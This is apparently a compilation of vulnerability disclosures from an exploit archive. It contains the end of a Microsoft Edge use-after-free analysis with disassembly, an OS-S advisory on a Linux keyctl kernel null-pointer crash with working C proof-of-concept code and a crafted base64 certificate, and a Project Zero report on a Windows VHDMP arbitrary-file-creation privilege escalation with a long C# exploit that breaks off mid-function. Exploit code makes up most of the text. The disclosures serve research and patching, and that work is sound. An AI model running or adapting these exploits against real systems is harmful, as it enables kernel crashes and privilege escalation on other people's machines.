  61750339 e8eee3ffff      call    EDGEHTML!CAttr­Value::Get­DISPID (6174e72c)      ;      |   |     |
  6175033e 50              push    eax                                            ;      |   |     |
  6175033f 8d44242f        lea     eax,[esp+2Fh]                                  ;      |   |     |
  61750343 8bce            mov     ecx,esi                                        ;      |   |     |
  61750345 50              push    eax                                            ;      |   |     |
  61750346 e8258a0800      call    EDGEHTML!CAttr­Array::Set (617d8d70)            ; FREE |   |     /
  6175034b eb8d            jmp     EDGEHTML!CAttr­Array::Destroy+0x8b (617502da)   ; >--- | - | ---'
}                                                                                 ;      |   |
61750288 33db            xor     ebx,ebx                                          ;<-----'   |
6175028a d1ea            shr     edx,1                                            ;<---------'
6175028c f6c201          test    dl,1
6175028f 0f85966f3600    jne     EDGEHTML!CAttr­Array::Destroy+0x366fdc (61ab722b)
{
  61ab722b cc              int     3
  61ab722c e96490c9ff      jmp     EDGEHTML!CAttr­Array::Destroy+0x46 (61750295)
}
61750295 ff7508          push    dword ptr [ebp+8]
61750298 6a10            push    10h
6175029a e8b1e01400      call    EDGEHTML!CImpl­Ary::Delete (6189e350)
6175029f 8d4c2428        lea     ecx,[esp+28h]
617502a3 e8ae000000      call    EDGEHTML!CAttr­Value::Free (61750356)
617502a8 84db            test    bl,bl
617502aa 7548            jne     EDGEHTML!CAttr­Array::Destroy+0xa5 (617502f4)
{
  617502f4 8b4c2414        mov     ecx,dword ptr [esp+14h]
  617502f8 6a03            push    3
  617502fa 68eb030180      push    800103EBh
  617502ff e8ac3e0c00      call    EDGEHTML!CAttr­Array::Delete­Attribute (618141b0)
  61750304 eba6            jmp     EDGEHTML!CAttr­Array::Destroy+0x5d (617502ac)
}
617502ac 5f              pop     edi
617502ad 5e              pop     esi
617502ae 5b              pop     ebx
617502af 8be5            mov     esp,ebp
617502b1 5d              pop     ebp
617502b2 c20400          ret     4

Time-line

September 2015: This vulnerability was found through fuzzing.
September 2015: This vulnerability was submitted to ZDI.
September 2015: This vulnerability was rejected by ZDI.
November 2016: The issue no longer reproduces in Microsoft Edge.
November 2016: Details of this issue are released.
-->
            
/*
OS-S Security Advisory 2016-21
Local DoS: Linux Kernel Nullpointer Dereference via keyctl

Date:
October 31th, 2016
Authors:
Sergej Schumilo, Ralf Spenneberg, Hendrik Schwartke
CVE:
Not yet assigned
CVSS:
4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Severity:
Potentially critical. If the kernel is compiled with the option
“Panic-On-Oops”, this vulnerability may lead to a kernel panic.
Ease of Exploitation:
Trivial
Vulnerability Type:
Local unprivileged kernel nullpointer dereference

Abstract:
A malicious interaction with the keyctl usermode interface allows an
attacker to crash the kernel. Processing the attached certificate by the
kernel leads to a kernel nullpointer dereference. This vulnerably can be
triggered by any unprivileged user locally.

Detailed product description:
We have verified the bug on the following kernel builds:
 Ubuntu Server 16.10 (GNU/Linux 4.8.0-22-generic x86_64)
 RedHat Kernel 3.10.0-327.18.2.el7.x86_64

Vendor Communication:
We contacted RedHat on June, 06th 2016.
To this day, no security patch was provided by the vendor.
We publish this Security Advisory in accordance with our responsible
disclosure policy.

Reference: https://bugzilla.redhat.com/show_bug.cgi?id=1343162

Proof of Concept:
As a proof of concept, we are providing a sample exploit program and the
associated certificate.

Severity and Ease of Exploitation:
The vulnerability can be easily exploited by an unprivileged user using
our proof of concept.

dmesg-Report:
[   40.067569] BUG: unable to handle kernel NULL pointer dereference at
         (null)
[   40.068251] IP: [<ffffffff81341911>] mpi_powm+0x31/0x9b0
[   40.068710] PGD c853067 PUD 186bd067 PMD 0
[   40.069090] Oops: 0002 [#1] KASAN
[   40.069384] Modules linked in: kafl_vuln_test(OE) ext4(OE)
mbcache(OE) jbd2(OE)
[   40.070043] CPU: 0 PID: 143 Comm: guest_interface Tainted: G
 OE   4.4.0 #158
[   40.070666] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   40.071533] task: ffff88001864b100 ti: ffff88000c880000 task.ti:
ffff88000c880000
[   40.072117] RIP: 0010:[<ffffffff81341911>]  [<ffffffff81341911>]
mpi_powm+0x31/0x9b0
[   40.072743] RSP: 0018:ffff88000c887bf0  EFLAGS: 00010246
[   40.073165] RAX: 0000000000000020 RBX: 0000000000000020 RCX:
ffff8800186b33f0
[   40.073727] RDX: ffff8800186b3930 RSI: ffff8800186b32a0 RDI:
ffff8800186b37e0
[   40.074481] RBP: ffff88000c887cc0 R08: ffff880010000c00 R09:
ffffed00030d6700
[   40.075049] R10: ffffea000061ace0 R11: ffff880010000c08 R12:
0000000000000000
[   40.075616] R13: ffff8800186b37e0 R14: 0000000000000000 R15:
ffff8800186b32a0
[   40.076174] FS:  0000000000911880(0063) GS:ffffffff81c2f000(0000)
knlGS:0000000000000000
[   40.076815] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[   40.077266] CR2: 0000000000000000 CR3: 000000000c817000 CR4:
00000000000006f0
[   40.077850] Stack:
[   40.078018]  0000000000000001 ffffea0000321000 0000000000000000
ffff8800100026c0
[   40.078646]  ffffffff8118dff6 ffff8800186b37ff ffffffff8118dff6
ffff8800186b37ff
[   40.079286]  1ffff100030d6700 ffff88000c887c58 ffffffff8118e06e
ffff8800185c95f8
[   40.079925] Call Trace:
[   40.080129]  [<ffffffff8118dff6>] ? kasan_unpoison_shadow+0x36/0x50
[   40.080642]  [<ffffffff8118dff6>] ? kasan_unpoison_shadow+0x36/0x50
[   40.081139]  [<ffffffff8118e06e>] ? kasan_kmalloc+0x5e/0x70
[   40.081582]  [<ffffffff81342320>] ? mpi_alloc+0x20/0x80
[   40.082006]  [<ffffffff812cee6c>] ? RSA_verify_signature+0x36c/0xf60
[   40.082512]  [<ffffffff812ceec5>] RSA_verify_signature+0x3c5/0xf60
[   40.083001]  [<ffffffff812ceb00>] ? public_key_describe+0x160/0x160
[   40.083507]  [<ffffffff812ce5c5>] public_key_verify_signature+0x785/0xb20
[   40.084043]  [<ffffffff812d5bad>] x509_check_signature+0x9d/0x320
[   40.084531]  [<ffffffff812d6461>] x509_key_preparse+0x631/0x1210
[   40.085014]  [<ffffffff812cbe1a>] ? asymmetric_key_preparse+0x26a/0x530
[   40.085534]  [<ffffffff812cbce7>] asymmetric_key_preparse+0x137/0x530
[   40.086981]  [<ffffffff8126b8fb>] ? key_type_lookup+0x4b/0x80
[   40.087437]  [<ffffffff8126ba67>] key_create_or_update+0x137/0x450
[   40.087942]  [<ffffffff8126d2e7>] SyS_add_key+0x117/0x200
[   40.088381]  [<ffffffff81741d33>] entry_SYSCALL_64_fastpath+0x16/0x75
[   40.088890] Code: 41 56 41 55 41 54 53 48 81 ec a8 00 00 00 8b 41 04
44 8b 72 04 4c 8b 67 18 85 c0 89 45 a4 0f 84 da 07 00 00 45 85 f6 75 38
89 c3 <49> c7 04 24 01 00 00 00 b8 01 00 00 00 83 fb 01 0f 84 84 01 00
[   40.091203] RIP  [<ffffffff81341911>] mpi_powm+0x31/0x9b0
[   40.091645]  RSP <ffff88000c887bf0>
[   40.091924] CR2: 0000000000000000
[   40.092207] ---[ end trace 3d4c5681d47247c7 ]---
[   40.092566] Kernel panic - not syncing: Fatal exception
[   40.092968] Kernel Offset: disabled
[   40.093242] Rebooting in 1 seconds..

Proof of Concept (Code):
*/

/*
 *
 * base64 -d < certificate.base64 > test.crt
 * gcc test.crt -lkeyutils
 * ./a.out
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <sys/mount.h>
#include <errno.h>
#include <signal.h>
#include <keyutils.h>

int main(){
	FILE    *infile;
	char    *buffer;
	long    numbytes;

    key_serial_t key_id;
    key_serial_t keyring_id;
	
	infile = fopen("test.crt", "r");	
	if(infile == NULL)
		return 1;
	
	fseek(infile, 0L, SEEK_END);
	numbytes = ftell(infile);
	
	fseek(infile, 0L, SEEK_SET);	
	
	buffer = (char*)calloc(numbytes, sizeof(char));	
	
	if(buffer == NULL)
		return 1;
	
	fread(buffer, sizeof(char), numbytes, infile);
	fclose(infile);

    /* inject fuzzed x509 DER data into asymmetric crypto kernel code */
	key_id = add_key("asymmetric", "", buffer, numbytes, 0xfffffffd);
	printf("Oops?!\n");

    if(key_id != -1){
         keyctl_unlink(key_id, 0xfffffffd);
    }

	free(buffer);

	return 0;
}

/*
Proof of Concept (Certificate):

MIID/jCCAuagAwIBAgIQFaxulBmyeUtB9iepwxgPHzANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UE
BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA4IEdlb1RydXN0
IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFy
eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTA4MDQwMjAwMDAwMFoXDTM3MTIwMTIz
NTk1OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAo
YykgMjAwOCBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMT
LUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZI
hvcNAQEBBQADggEPADCCAQgCggEBANziXmJYHTNXOTIz+uvLh4yn1ErdBojqZI4xmKU4kB6Yzy5j
K/BGvESyiaHAKAxJcCGVn2TAppMSAmUmhsalifD614SgcK9PGpc/BkTVyetyEH3kMSj7HGHmKAdE
c5IiaacDiGydY8hS2pgn5whMcD60yRLBxWeDXTPzAxHsatBT4tG6NmCUgLthY2xbF37fQJQeqw3C
IShwiP/WJmxsYAQlTlV+fe+/lEjetx3dcI0FX4ilm/LC7urRQEFtYjgdVgbFA0dRIBn8exALDmKu
dlW/X3e+PkkBUz2YJQN2JFodtNuJ6nnltrM7P7pMKEF/BqxqjsHQ9gUdfeZChuOl1UcCAQAAAaNC
MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMR5yo6hTgMdHNxr
2zFblD4/MH8tMA0GCSqGSIb3DQEBCwUAA4IBAQAtxRPPVoB7eni9n64smefv2t+UXglpp+duaIy9
cr5HqQ6XErhK8WTTOd8lNNTBzU6B8A8ExCSzNJbGpqow32hhc9f5joWJ7w5elShKKiePEI4ufIbE
Ap7aDHdlDkQNkv39sxY2+hENHYwOB4lqKVb3cvTdFZx3NWZXqxNT2I7BQMXXExZacse3aQHEerGD
AWh9jUGhlBjBJVz88P6DAod8DQ3PLghcSkANPuyBYeYk28rgDi0Hsj5W3I31QYUHSJsMC8tJP33s
t/3LjWeJGqvtux6jAAgIFyqCXDFdRootD4abdNlF+9RAsXqqaC2Gspki4cErx5z481+oghLrGREt
--
*/
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=914

Windows: VHDMP Arbitrary File Creation EoP
Platform: Windows 10 10586 and 14393. Unlikely to work on 7 or 8.1 as I think it’s new functionality
Class: Elevation of Privilege

Summary:
The VHDMP driver doesn’t safely create files related to Resilient Change Tracking leading to arbitrary file overwrites under user control leading to EoP.

Description:

The VHDMP driver is used to mount VHD and ISO files so that they can be accessed as a normal mounted volume. In Windows 10 support was introduced for Resilient Change Tracking which adds a few new files ending with .rct and .mrt next to the root vhd. When you enable RCT on an existing VHD it creates the files if they’re not already present. Unfortunately it does it using ZwCreateFile (in VhdmpiCreateFileWithSameSecurity) and doesn’t specify the OBJ_FORCE_ACCESS_CHECK flag. As the location is entirely controlled by the user we can exploit this to get an arbitrary file create/overwrite, and the code as its name suggests will copy across the DACL from the parent VHD meaning we’ll always be able to access it.

Note this doesn’t need admin rights as we never mount the VHD, just set RCT. However you can’t use it in a sandbox as opening the drive goes through multiple access checks.

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. Note you must compile as Any CPU or at least the correct bitness for the system under test other setting the dos devices directory has a habit of failing. It will create abc.txt and xyz.txt inside the Windows directory which we normally can’t write to.

1) Compile the C# source code file.
2) Execute the poc passing the path
3) It should print that it successfully created a file

Expected Result:
Setting RCT fails.

Observed Result:
The user has created the files \Windows\abc.txt and \Windows\xyz.txt with a valid DACL for the user to modify the files. 
*/

using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;
using System.Linq;

namespace DfscTest
{
    class Program
    {
        [Flags]
        public enum AttributeFlags : uint
        {
            None = 0,
            Inherit = 0x00000002,
            Permanent = 0x00000010,
            Exclusive = 0x00000020,
            CaseInsensitive = 0x00000040,
            OpenIf = 0x00000080,
            OpenLink = 0x00000100,
            KernelHandle = 0x00000200,
            ForceAccessCheck = 0x00000400,
            IgnoreImpersonatedDevicemap = 0x00000800,
            DontReparse = 0x00001000,
        }

        public class IoStatus
        {
            public IntPtr Pointer;
            public IntPtr Information;

            public IoStatus()
            {
            }

            public IoStatus(IntPtr p, IntPtr i)
            {
                Pointer = p;
                Information = i;
            }
        }

        [Flags]
        public enum ShareMode
        {
            None = 0,
            Read = 0x00000001,
            Write = 0x00000002,
            Delete = 0x00000004,
        }

        [Flags]
        public enum FileOpenOptions
        {
            None = 0,
            DirectoryFile = 0x00000001,
            WriteThrough = 0x00000002,
            SequentialOnly = 0x00000004,
            NoIntermediateBuffering = 0x00000008,
            SynchronousIoAlert = 0x00000010,
            SynchronousIoNonAlert = 0x00000020,
            NonDirectoryFile = 0x00000040,
            CreateTreeConnection = 0x00000080,
            CompleteIfOplocked = 0x00000100,
            NoEaKnowledge = 0x00000200,
            OpenRemoteInstance = 0x00000400,
            RandomAccess = 0x00000800,
            DeleteOnClose = 0x00001000,
            OpenByFileId = 0x00002000,
            OpenForBackupIntent = 0x00004000,
            NoCompression = 0x00008000,
            OpenRequiringOplock = 0x00010000,
            ReserveOpfilter = 0x00100000,
            OpenReparsePoint = 0x00200000,
            OpenNoRecall = 0x00400000,
            OpenForFreeSpaceQuery = 0x00800000
        }

        [Flags]
        public enum GenericAccessRights : uint
        {
            None = 0,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        };


        [Flags]
        enum DirectoryAccessRights : uint
        {
            Query = 1,
            Traverse = 2,
            CreateObject = 4,
            CreateSubDirectory = 8,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        }

        [Flags]
        public enum ProcessAccessRights : uint
        {
            None = 0,
            CreateProcess = 0x0080,
            CreateThread = 0x0002,
            DupHandle = 0x0040,
            QueryInformation = 0x0400,
            QueryLimitedInformation = 0x1000,
            SetInformation = 0x0200,
            SetQuota = 0x0100,
            SuspendResume = 0x0800,
            Terminate = 0x0001,
            VmOperation = 0x0008,
            VmRead = 0x0010,
            VmWrite = 0x0020,
            MaximumAllowed = GenericAccessRights.MaximumAllowed
        };

        [Flags]
        public enum FileAccessRights : uint
        {
            None = 0,
            ReadData = 0x0001,
            WriteData = 0x0002,
            AppendData = 0x0004,
            ReadEa = 0x0008,
            WriteEa = 0x0010,
            Execute = 0x0020,
            DeleteChild = 0x0040,
            ReadAttributes = 0x0080,
            WriteAttributes = 0x0100,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public sealed class UnicodeString
        {
            ushort Length;
            ushort MaximumLength;
            [MarshalAs(UnmanagedType.LPWStr)]
            string Buffer;

            public UnicodeString(string str)
            {
                Length = (ushort)(str.Length * 2);
                MaximumLength = (ushort)((str.Length * 2) + 1);
                Buffer = str;
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtClose(IntPtr handle);

        public sealed class SafeKernelObjectHandle
          : SafeHandleZeroOrMinusOneIsInvalid
        {
            public SafeKernelObjectHandle()
              : base(true)
            {
            }

            public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
              : base(owns_handle)
            {
                SetHandle(handle);
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    NtClose(this.handle);
                    this.handle = IntPtr.Zero;
                    return true;
                }
                return false;
            }
        }

        public enum SecurityImpersonationLevel
        {
            Anonymous = 0,
            Identification = 1,
            Impersonation = 2,
            Delegation = 3
        }

        public enum SecurityContextTrackingMode : byte
        {
            Static = 0,
            Dynamic = 1
        }

        [StructLayout(LayoutKind.Sequential)]
        public sealed class SecurityQualityOfService
        {
            int Length;
            public SecurityImpersonationLevel ImpersonationLevel;
            public SecurityContextTrackingMode ContextTrackingMode;
            [MarshalAs(UnmanagedType.U1)]
            public bool EffectiveOnly;

            public SecurityQualityOfService()
            {
                Length = Marshal.SizeOf(this);
            }
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public sealed class ObjectAttributes : IDisposable
        {
            int Length;
            IntPtr RootDirectory;
            IntPtr ObjectName;
            AttributeFlags Attributes;
            IntPtr SecurityDescriptor;
            IntPtr SecurityQualityOfService;

            private static IntPtr AllocStruct(object s)
            {
                int size = Marshal.SizeOf(s);
                IntPtr ret = Marshal.AllocHGlobal(size);
                Marshal.StructureToPtr(s, ret, false);
                return ret;
            }

            private static void FreeStruct(ref IntPtr p, Type struct_type)
            {
                Marshal.DestroyStructure(p, struct_type);
                Marshal.FreeHGlobal(p);
                p = IntPtr.Zero;
            }

            public ObjectAttributes() : this(AttributeFlags.None)
            {
            }

            public ObjectAttributes(string object_name, AttributeFlags attributes) : this(object_name, attributes, null, null, null)
            {
            }

            public ObjectAttributes(AttributeFlags attributes) : this(null, attributes, null, null, null)
            {
            }

            public ObjectAttributes(string object_name) : this(object_name, AttributeFlags.CaseInsensitive, null, null, null)
            {
            }

            public ObjectAttributes(string object_name, AttributeFlags attributes, SafeKernelObjectHandle root, SecurityQualityOfService sqos, GenericSecurityDescriptor security_descriptor)
            {
                Length = Marshal.SizeOf(this);
                if (object_name != null)
                {
                    ObjectName = AllocStruct(new UnicodeString(object_name));
                }
                Attributes = attributes;
                if (sqos != null)
                {
                    SecurityQualityOfService = AllocStruct(sqos);
                }
                if (root != null)
                    RootDirectory = root.DangerousGetHandle();
                if (security_descriptor != null)
                {
                    byte[] sd_binary = new byte[security_descriptor.BinaryLength];
                    security_descriptor.GetBinaryForm(sd_binary, 0);
                    SecurityDescriptor = Marshal.AllocHGlobal(sd_binary.Length);
                    Marshal.Copy(sd_binary, 0, SecurityDescriptor, sd_binary.Length);
                }
            }

            public void Dispose()
            {
                if (ObjectName != IntPtr.Zero)
                {
                    FreeStruct(ref ObjectName, typeof(UnicodeString));
                }
                if (SecurityQualityOfService != IntPtr.Zero)
                {
                    FreeStruct(ref SecurityQualityOfService, typeof(SecurityQualityOfService));
                }
                if (SecurityDescriptor != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(SecurityDescriptor);
                    SecurityDescriptor = IntPtr.Zero;
                }
                GC.SuppressFinalize(this);
            }

            ~ObjectAttributes()
            {
                Dispose();
            }
        }

        [DllImport("ntdll.dll")]
        public static extern int NtOpenFile(
            out IntPtr FileHandle,
            FileAccessRights DesiredAccess,
            ObjectAttributes ObjAttr,
            [In] [Out] IoStatus IoStatusBlock,
            ShareMode ShareAccess,
            FileOpenOptions OpenOptions);

        public static void StatusToNtException(int status)
        {
            if (status < 0)
            {
                throw new NtException(status);
            }
        }

        public class NtException : ExternalException
        {
            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            private static extern IntPtr GetModuleHandle(string modulename);

            [Flags]
            enum FormatFlags
            {
                AllocateBuffer = 0x00000100,
                FromHModule = 0x00000800,
                FromSystem = 0x00001000,
                IgnoreInserts = 0x00000200
            }

            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            private static extern int FormatMessage(
              FormatFlags dwFlags,
              IntPtr lpSource,
              int dwMessageId,
              int dwLanguageId,
              out IntPtr lpBuffer,
              int nSize,
              IntPtr Arguments
            );

            [DllImport("kernel32.dll")]
            private static extern IntPtr LocalFree(IntPtr p);

            private static string StatusToString(int status)
            {
                IntPtr buffer = IntPtr.Zero;
                try
                {
                    if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
                        GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
                    {
                        return Marshal.PtrToStringUni(buffer);
                    }
                }
                finally
                {
                    if (buffer != IntPtr.Zero)
                    {
                        LocalFree(buffer);
                    }
                }
                return String.Format("Unknown Error: 0x{0:X08}", status);
            }

            public NtException(int status) : base(StatusToString(status))
            {
            }
        }

        public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid
        {
            public SafeHGlobalBuffer(int length)
              : this(Marshal.AllocHGlobal(length), length, true)
            {
            }

            public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle)
              : base(owns_handle)
            {
                Length = length;
                SetHandle(buffer);
            }

            public int Length
            {
                get; private set;
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    Marshal.FreeHGlobal(handle);
                    handle = IntPtr.Zero;
                }
                return true;
            }
        }

        public class SafeStructureBuffer : SafeHGlobalBuffer
        {
            Type _type;

            public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value))
            {
                _type = value.GetType();
                Marshal.StructureToPtr(value, handle, false);
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    Marshal.DestroyStructure(handle, _type);
                }
                return base.ReleaseHandle();
            }
        }

        public class SafeStructureOutBuffer<T> : SafeHGlobalBuffer
        {
            public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T)))
            {
            }

            public T Result
            {
                get
                {
                    if (IsInvalid)
                        throw new ObjectDisposedException("handle");

                    return Marshal.PtrToStructure<T>(handle);
                }
            }
        }

        public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit)
        {
            AttributeFlags flags = AttributeFlags.CaseInsensitive;
            if (inherit)
                flags |= AttributeFlags.Inherit;
            using (ObjectAttributes obja = new ObjectAttributes(name, flags))
            {
                IntPtr handle;
                IoStatus iostatus = new IoStatus();
                int status = NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions);
                StatusToNtException(status);
                return new SafeFileHandle(handle, true);
            }
        }

        [DllImport("ntdll.dll")]
        public static extern int NtDeviceIoControlFile(
          SafeFileHandle FileHandle,
          IntPtr Event,
          IntPtr ApcRoutine,
          IntPtr ApcContext,
          [Out] IoStatus IoStatusBlock,
          uint IoControlCode,
          byte[] InputBuffer,
          int InputBufferLength,
          byte[] OutputBuffer,
          int OutputBufferLength
        );

        [DllImport("ntdll.dll")]
        public static extern int NtFsControlFile(
          SafeFileHandle FileHandle,
          IntPtr Event,
          IntPtr ApcRoutine,
          IntPtr ApcContext,
          [Out] IoStatus IoStatusBlock,
          uint FSControlCode,
          [In] byte[] InputBuffer,
          int InputBufferLength,
          [Out] byte[] OutputBuffer,
          int OutputBufferLength
        );

        [DllImport("ntdll.dll")]
        static extern int NtCreateDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);

        [DllImport("ntdll.dll")]
        static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);

        const int ProcessDeviceMap = 23;

        [DllImport("ntdll.dll")]
        static extern int NtSetInformationProcess(
            IntPtr ProcessHandle,
            int ProcessInformationClass,
            byte[] ProcessInformation,
            int ProcessInformationLength);

        static byte[] StructToBytes(object o)
        {
            int size = Marshal.SizeOf(o);
            IntPtr p = Marshal.AllocHGlobal(size);
            try
            {
                Marshal.StructureToPtr(o, p, false);
                byte[] ret = new byte[size];
                Marshal.Copy(p, ret, 0, size);
                return ret;
            }
            finally
            {
                if (p != IntPtr.Zero)
                    Marshal.FreeHGlobal(p);
            }
        }

        static byte[] GetBytes(string s)
        {
            return Encoding.Unicode.GetBytes(s + "\0");
        }

        static SafeKernelObjectHandle CreateDirectory(SafeKernelObjectHandle root, string path)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, root, null, null))
            {
                IntPtr handle;
                StatusToNtException(NtCreateDirectoryObject(out handle, DirectoryAccessRights.GenericAll, obja));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        static SafeKernelObjectHandle OpenDirectory(string path)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive))
            {
                IntPtr handle;
                StatusToNtException(NtOpenDirectoryObject(out handle, DirectoryAccessRights.MaximumAllowed, obja));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtCreateSymbolicLinkObject(
            out IntPtr LinkHandle,
            GenericAccessRights DesiredAccess,
            ObjectAttributes ObjectAttributes,
            UnicodeString DestinationName
        );

        static SafeKernelObjectHandle CreateSymbolicLink(SafeKernelObjectHandle directory, string path, string target)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, directory, null, null))
            {
                IntPtr handle;
                StatusToNtException(NtCreateSymbolicLinkObject(out handle, GenericAccessRights.MaximumAllowed, obja, new UnicodeString(target)));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        static void SetDosDirectory(SafeKernelObjectHandle directory)
        {
            IntPtr p = directory.DangerousGetHandle();
            byte[] data = null;
            if (IntPtr.Size == 4)
            {
                data = BitConverter.GetBytes(p.ToInt32());
            }
            else
            {
                data = BitConverter.GetBytes(p.ToInt64());
            }

            StatusToNtException(NtSetInformationProcess(new IntPtr(-1), ProcessDeviceMap, data, data.Length));
        }

        enum StorageDeviceType
        {
            Unknown = 0,
            Iso = 1,
            Vhd = 2,
            Vhdx = 3,
            VhdSet = 4,
        }

        [StructLayout(LayoutKind.Sequential)]
        struct VirtualStorageType
        {
            public StorageDeviceType DeviceId;
            public Guid VendorId;
        }

        enum OpenVirtualDiskFlag
        {
            None = 0,
            NoParents = 1,
            BlankFile = 2,
            BootDrive = 4,
            CachedIo = 8,
            DiffChain = 0x10,
            ParentcachedIo = 0x20,
            VhdSetFileOnly = 0x40,
        }

        enum CreateVirtualDiskVersion
        {
            Unspecified = 0,
            Version1 = 1,
            Version2 = 2,
            Version3 = 3,
        }
            
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
        struct CreateVirtualDiskParameters
        {
            public CreateVirtualDiskVersion Version;
            public Guid UniqueId;
            public ulong MaximumSize;
            public uint BlockSizeInBytes;
            public uint SectorSizeInBytes;
            public uint PhysicalSectorSizeInBytes;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string ParentPath;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string SourcePath;
            // Version 2 on
            public OpenVirtualDiskFlag OpenFlags;
            public VirtualStorageType ParentVirtualStorageType;
            public VirtualStorageType SourceVirtualStorageType;
            public Guid ResiliencyGuid;
            // Version 3 on
            [MarshalAs(UnmanagedType.LPWStr)]
            public string SourceLimitPath;
            public VirtualStorageType BackingStorageType;
        }

        enum VirtualDiskAccessMask
        {
            None = 0,
            AttachRo = 0x00010000,
            AttachRw = 0x00020000,
            Detach = 0x00040000,
            GetInfo = 0x00080000,
            Create = 0x00100000,
            MetaOps = 0x00200000,
            Read = 0x000d0000,
            All = 0x003f0000
        }

        enum CreateVirtualDiskFlag
        {
            None = 0x0,
            FullPhysicalAllocation = 0x1,
            PreventWritesToSourceDisk = 0x2,
            DoNotcopyMetadataFromParent = 0x4,
            CreateBackingStorage = 0x8,
            UseChangeTrackingSourceLimit = 0x10,
            PreserveParentChangeTrackingState = 0x20,
        }        

        [DllImport("virtdisk.dll", CharSet=CharSet.Unicode)]
        static extern int CreateVirtualDisk(
            [In] ref VirtualStorageType VirtualStorageType,
            string Path,
            VirtualDiskAccessMask        VirtualDiskAccessMask,
            [In] byte[] SecurityDescriptor,
            CreateVirtualDiskFlag        Flags,
            uint ProviderSpecificFlags,
            [In] ref CreateVirtualDiskParameters Parameters,
            IntPtr  Overlapped,
            out IntPtr Handle
        );

        static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505");
        static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B");

        static SafeFileHandle CreateVHD(string path)
        {
            VirtualStorageType vhd_type = new VirtualStorageType();
            vhd_type.DeviceId = StorageDeviceType.Vhd;
            vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;

            CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters();
